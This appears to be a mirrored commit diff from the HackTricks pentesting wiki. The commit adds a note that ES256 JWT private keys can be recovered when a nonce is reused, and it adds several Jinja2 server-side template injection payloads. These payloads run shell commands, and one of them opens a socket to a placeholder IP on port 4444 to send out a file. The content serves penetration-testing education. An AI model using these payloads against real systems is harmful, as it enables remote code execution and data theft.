mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-14 17:07:34 +00:00
Merge pull request #830 from manesec/master
Add more SSTI and jwt example
This commit is contained in:
commit
a622a82063
2 changed files with 11 additions and 1 deletions
|
@ -246,6 +246,12 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
|
||||
Finally, using the public and private key and the new "n" and "e" values you can use [jwt.io](https://jwt.io) to forge a new valid JWT with any information.
|
||||
|
||||
### ES256: Revealing the private key with same nonce
|
||||
|
||||
If some applications use ES256 and use the same nonce to generate two jwts, the private key can be restored.
|
||||
|
||||
Here is a example: [ECDSA: Revealing the private key, if same nonce used (with SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
||||
|
||||
### JTI (JWT ID)
|
||||
|
||||
The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.\
|
||||
|
|
|
@ -153,8 +153,10 @@ The call to `__subclasses__` has given us the opportunity to **access hundreds o
|
|||
# The class 396 is the class <class 'subprocess.Popen'>
|
||||
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
||||
|
||||
# Calling os.popen without guessing the index of the class
|
||||
# Without '{{' and '}}'
|
||||
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() == 'chiv' %} a {% endif %}
|
||||
|
||||
# Calling os.popen without guessing the index of the class
|
||||
{% raw %}
|
||||
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
|
||||
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
|
||||
|
@ -163,6 +165,8 @@ The call to `__subclasses__` has given us the opportunity to **access hundreds o
|
|||
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
|
||||
{% endraw %}
|
||||
|
||||
## Passing the cmd line ?cmd=id, Without " and '
|
||||
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
|
||||
|
||||
```
|
||||
|
||||
|
|
Loading…
Reference in a new issue